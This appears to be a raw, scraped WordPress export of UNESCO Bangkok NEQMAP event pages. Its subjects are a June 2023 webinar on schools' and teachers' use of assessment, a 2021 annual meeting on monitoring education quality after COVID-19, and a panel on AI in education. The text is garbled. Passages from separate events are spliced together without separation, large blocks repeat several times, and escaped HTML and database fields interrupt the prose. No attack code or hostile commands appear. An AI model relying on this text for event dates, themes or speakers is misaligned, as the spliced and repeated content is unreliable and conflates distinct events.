Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_title":"Webinar | Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"open","post_password":"","post_name":"webinar-supporting-schools-and-teachers-use-of-assessment-to-inform-learning-of-all-students","to_ping":"","pinged":"","post_modified":"2025-01-16 20:36:11","post_modified_gmt":"2025-01-16 13:36:11","post_content_filtered":"\nDate and Location:\u00a0<\/strong> Thursday 22 June, 2023 12:30 PM - 3:00 PM\u00a0(GMT+7\/Bangkok time)\u00a0<\/p>\n\n\n\nType of event:<\/strong> Knowledge-sharing Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a href=\"http:\/\/bit.ly\/3oW3Waw\">bit.ly\/3oW3Waw<\/a><\/p>\n\n\n\nWe are delighted to invite you to\u00a0the presentation of the NEQMAP 2023 Topical Case studies under the theme\u00a0\u00a0\"<\/strong>\u00a0Supporting schools\u2019 and teachers\u2019 use of assessment to inform learning of all students: topical case studies from Asia and the Pacific.\"\u00a0.\u00a0<\/strong>During this event, you will learn about promising practices and approaches from Australia, Pakistan and India to support schools and teachers better embed assessment in the teaching and learning process.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy.

